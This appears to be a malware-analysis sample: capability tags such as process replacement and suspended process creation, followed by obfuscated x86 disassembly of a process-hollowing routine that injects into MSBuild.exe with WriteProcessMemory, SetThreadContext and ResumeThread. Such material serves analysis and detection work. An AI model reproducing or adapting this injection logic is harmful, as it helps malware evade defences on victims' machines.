Function at 0x1000a0b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x198
mov eax, dword [0x1008c280]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x19a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x199], al
mov dword [ebp - 0x1a0], 0xe1d9e1a6
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a4], eax
sub eax, 0x81b16fc3
je 0x1000cc89
jmp 0x1000a123
mov eax, dword [ebp - 0x1a4]
sub eax, 0x821592c2
je 0x1000cf2c
jmp 0x1000a139
mov eax, dword [ebp - 0x1a4]
sub eax, 0x829bf6d7
je 0x1000f3de
jmp 0x1000a14f
mov eax, dword [ebp - 0x1a4]
sub eax, 0x83d1af1c
je 0x10012699
jmp 0x1000a165
mov eax, dword [ebp - 0x1a4]
sub eax, 0x852f03ba
je 0x1000d5c3
jmp 0x1000a17b
mov eax, dword [ebp - 0x1a4]
sub eax, 0x85b6f052
je 0x100101f9
jmp 0x1000a191
mov eax, dword [ebp - 0x1a4]
sub eax, 0x85d63b6f
je 0x1000cf00
jmp 0x1000a1a7
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8625c700
je 0x1000d5e0
jmp 0x1000a1bd
mov eax, dword [ebp - 0x1a4]
sub eax, 0x86704d1f
je 0x10010f77
jmp 0x1000a1d3
mov eax, dword [ebp - 0x1a4]
sub eax, 0x868ed3c7
je 0x1000e3d3
jmp 0x1000a1e9
mov eax, dword [ebp - 0x1a4]
sub eax, 0x877811a8
je 0x1000f77c
jmp 0x1000a1ff
mov eax, dword [ebp - 0x1a4]
sub eax, 0x89f5427f
je 0x10012757
jmp 0x1000a215
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8a2a5ccd
je 0x1000e0b2
jmp 0x1000a22b
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8a834b59
je 0x100112fe
jmp 0x1000a241
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8b34847a
je 0x10010de3
jmp 0x1000a257
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8c4bdc87
je 0x10012675
jmp 0x1000a26d
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8c5a84ae
je 0x1000e4ef
jmp 0x1000a283
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8c753f78
je 0x10010e59
jmp 0x1000a299
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8d1ca387
je 0x10011057
jmp 0x1000a2af
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8eb0d8a2
je 0x1000ecfe
jmp 0x1000a2c5
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8ebc0bef
je 0x1000efbd
jmp 0x1000a2db
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8fe16e98
je 0x1000e3a9
jmp 0x1000a2f1
mov eax, dword [ebp - 0x1a4]
sub eax, 0x90082612
je 0x1000d1f8
jmp 0x1000a307
mov eax, dword [ebp - 0x1a4]
sub eax, 0x90a3419d
je 0x100125ba
jmp 0x1000a31d
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9119cad2
je 0x1000d81e
jmp 0x1000a333
mov eax, dword [ebp - 0x1a4]
sub eax, 0x922ee5ee
je 0x1000e7fd
jmp 0x1000a349
mov eax, dword [ebp - 0x1a4]
sub eax, 0x926786e1
je 0x10012684
jmp 0x1000a35f
mov eax, dword [ebp - 0x1a4]
sub eax, 0x92c784d1
je 0x1000cdfe
jmp 0x1000a375
mov eax, dword [ebp - 0x1a4]
sub eax, 0x93904738
je 0x1000caf1
jmp 0x1000a38b
mov eax, dword [ebp - 0x1a4]
sub eax, 0x93de9e51
je 0x1001047c
jmp 0x1000a3a1
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9577cfd8
je 0x1001258a
jmp 0x1000a3b7
mov eax, dword [ebp - 0x1a4]
sub eax, 0x967a3197
je 0x10011c94
jmp 0x1000a3cd
mov eax, dword [ebp - 0x1a4]
sub eax, 0x96b01253
je 0x10010581
jmp 0x1000a3e3
mov eax, dword [ebp - 0x1a4]
sub eax, 0x97514aad
je 0x1000f1f6
jmp 0x1000a3f9
mov eax, dword [ebp - 0x1a4]
sub eax, 0x978cc978
je 0x1000ebe4
jmp 0x1000a40f
mov eax, dword [ebp - 0x1a4]
sub eax, 0x97c81c1d
je 0x1001230c
jmp 0x1000a425
mov eax, dword [ebp - 0x1a4]
sub eax, 0x97e69274
je 0x100120cf
jmp 0x1000a43b
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9886231e
je 0x1000de60
jmp 0x1000a451
mov eax, dword [ebp - 0x1a4]
sub eax, 0x98cbfb89
je 0x10011a0a
jmp 0x1000a467
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9ad8b982
je 0x1000cf50
jmp 0x1000a47d
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9af030a3
je 0x100129da
jmp 0x1000a493
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9b33b266
je 0x1000e0fb
jmp 0x1000a4a9
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9cbe942d
je 0x1001245e
jmp 0x1000a4bf
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9ceeae6e
je 0x1000e39a
jmp 0x1000a4d5
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9ec4026d
je 0x1000ff89
jmp 0x1000a4eb
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9ec73737
je 0x1000dd08
jmp 0x1000a501
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9f4ece54
je 0x1001034e
jmp 0x1000a517
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9f746e86
je 0x1000d038
jmp 0x1000a52d
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9fafce14
je 0x1000e99b
jmp 0x1000a543
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa06afb45
je 0x1001238a
jmp 0x1000a559
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa102d4eb
je 0x10012059
jmp 0x1000a56f
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa24dd77d
je 0x1000faa8
jmp 0x1000a585
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa2bcecc3
je 0x1000ee3e
jmp 0x1000a59b
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa3c474cf
je 0x10011cf8
jmp 0x1000a5b1
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa3e11b0d
je 0x10011875
jmp 0x1000a5c7
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa3e702ff
je 0x1000fa3c
jmp 0x1000a5dd
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa41e506a
je 0x1000e0cf
jmp 0x1000a5f3
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa45b13f0
je 0x1000cf7a
jmp 0x1000a609
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa4bc024a
je 0x1000ed33
jmp 0x1000a61f
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa4dab01f
je 0x1000d14f
jmp 0x1000a635
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa5630fef
je 0x10012721
jmp 0x1000a64b
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa6e636a6
je 0x10012296
jmp 0x1000a661
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa812d6a2
je 0x1000f4fa
jmp 0x1000a677
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa87c095b
je 0x10012560
jmp 0x1000a68d
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa89727c9
je 0x1000f2e0
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x198]
mov dword [eax], 0xefb8ece
mov eax, dword [ebp - 0x198]
cmp dword [eax], 0xefb8f05
setg al
and al, 1
mov byte [ebp - 0xf6], al
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
mov edx, eax
add edx, 0x8c619fd1
sub edx, 1
sub edx, 0x8c619fd1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfac8f012
mov ecx, 0xdde31ed4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x198]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0xfaca0491
jmp 0x10012a85
mov eax, dword [ebp - 0x194]
mov dword [eax], 0xefb8ef5
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x1a0], 0xd166f98a
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0xc3142b4c
jmp 0x10012a85
mov edx, dword [ebp - 0xec]
mov eax, 0xee22e5d9
mov ecx, 0x9ad8b982
cmp edx, 0xefb8ee3
cmovle eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
sub eax, 0x93a4c9be
add eax, 1
add eax, 0x93a4c9be
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x1a0], 0xa45b13f0
jmp 0x10012a85
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0xf68fec3b
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x377866c4
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x1c790a4f
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0xfaa1b1c7
jmp 0x10012a85
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x1a0], 0x8625c700
jmp 0x10012a85
mov edx, dword [ebp - 0xd8]
mov eax, 0xed13be88
mov ecx, 0xceff686f
cmp edx, 0xefb8f18
cmovle eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x188]
mov byte [eax], 0
mov dword [ebp - 0x1a0], 0xf38e6e6a
jmp 0x10012a85
mov eax, dword [ebp - 0x184]
mov dword [eax], 1
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
mov edx, eax
sub edx, 0x89133b90
sub edx, 1
add edx, 0x89133b90
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x216d7f76
mov ecx, 0xe5d97c33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x47e26182
jmp 0x10012a85
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x1a0], 0xa41e506a
jmp 0x10012a85
mov ecx, dword [ebp - 0xc0]
sub ecx, 0x296c2d52
add ecx, 1
add ecx, 0x296c2d52
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0x509784cf
jmp 0x10012a85
mov eax, dword [ebp - 0x180]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0x4e1647bc
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x868ed3c7
jmp 0x10012a85
mov eax, dword [ebp - 0x17c]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0xe411d156
jmp 0x10012a85
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
mov edx, ecx
sub edx, 0x5687be7a
sub edx, 1
add edx, 0x5687be7a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4b2d477
mov ecx, 0x1bd0a7cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov edx, dword [ebp - 0xb8]
mov eax, 0xd776ba7e
mov ecx, 0x1a43e358
cmp edx, 0xefb8edf
cmovg eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x5191e8bd
jmp 0x10012a85
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xafed53ba
mov ecx, 0x4f142a17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0xdbb4080c
jmp 0x10012a85
mov dl, 1
mov eax, 0xe21051bf
mov ecx, 0xb026c22a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x5a012989
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x5a012989
jmp 0x10012a85
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
mov edx, eax
add edx, 0x28dae61b
sub edx, 1
sub edx, 0x28dae61b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37ed2a88
mov ecx, 0x348306d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dl, byte [ebp - 0xa0]
mov eax, 0x1657218e
mov ecx, 0xa89727c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59e7f921
mov ecx, 0xb864dbac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x164]
mov dword [eax], 0xefb8ec4
mov dword [ebp - 0x1a0], 0x7495d8e3
jmp 0x10012a85
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf171df71
mov ecx, 0xd3d7a244
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x164]
mov dword [eax], 1
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
mov edx, eax
sub edx, 0xe007ee72
sub edx, 1
add edx, 0xe007ee72
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d91e5e8
mov ecx, 0xd48faca3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0xc305a981
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x3f6532a8
jmp 0x10012a85
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
mov edx, eax
sub edx, 0xa0d441f3
sub edx, 1
add edx, 0xa0d441f3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfab1891
mov ecx, 0x246e8494
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
mov edx, eax
sub edx, 0xb3ec630e
sub edx, 1
add edx, 0xb3ec630e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef888f4
mov ecx, 0x4accda07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5630fef
mov ecx, 0xebfd5d54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov edx, dword [ebp - 0x94]
mov eax, 0xe24be8ac
mov ecx, 0x52d1272a
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
mov edx, ecx
add edx, 0x75834888
sub edx, 1
sub edx, 0x75834888
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4a4828ca
mov ecx, 0x8c753f78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x130]
mov edx, dword [edx]
mov esi, dword [ebp - 0x144]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
mov edx, ecx
sub edx, 0x19cccd58
sub edx, 1
add edx, 0x19cccd58
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4a4828ca
mov ecx, 0x705c8c97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x229c4d27
mov ecx, 0xd4fe168e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x6bdbaafd
jmp 0x10012a85
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b2ba50b
mov ecx, 0xb269e07b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0xe37b474c
jmp 0x10012a85
mov ecx, dword [0x1008d74c]
mov eax, dword [0x1008d748]
mov edx, ecx
add edx, 0x6fa58089
sub edx, 1
sub edx, 0x6fa58089
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc192b193
mov ecx, 0x11d7687c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x8d95a8
mov ecx, 0xa3c474cf
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [0x1008d74c]
mov ecx, dword [0x1008d748]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc432324
mov ecx, 0x7fac2a2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x10012a85
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x144]
mov edx, dword [eax]
mov eax, dword [ebp - 0x130]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1a0], 0x97e69274
jmp 0x10012a85
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x18]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x1a0], 0x6d0b7f65
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0xc0d51b5e
jmp 0x10012a85
mov eax, dword [ebp - 0x190]
mov dword [eax], 1
mov dword [ebp - 0x1a0], 0x228b021b
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0x1748a94b
jmp 0x10012a85
mov eax, dword [ebp - 0x17c]
mov dword [eax], 0xefb8ec3
mov dword [ebp - 0x1a0], 0x45620cda
jmp 0x10012a85
mov eax, dword [ebp - 0x16c]
mov dword [eax], 1
mov dword [ebp - 0x1a0], 0x3188f709
jmp 0x10012a85
mov eax, dword [ebp - 0x168]
mov byte [eax], 0
mov dword [ebp - 0x1a0], 0x2d0bf0aa
jmp 0x10012a85
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x1a0], 0xf72c0bbe
jmp 0x10012a85
mov dword [ebp - 0x1a0], 0xb1db5391
jmp 0x10012a85
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1a0], 0xac6c5614
jmp 0x10012a85
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0xe983d1d0
jmp 0x10012a85
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x1a0], 0xebfd5d54
jmp 0x10012a85
mov eax, dword [ebp - 0x140]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1001ead0
add esp, 0xc
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x13c]
mov byte [eax], cl
mov eax, dword [ebp - 0x138]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x1a0], 0xd132b797
jmp 0x10012a85
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1a0], 0xb3fa23e6
jmp 0x10012a85
jmp 0x1000a107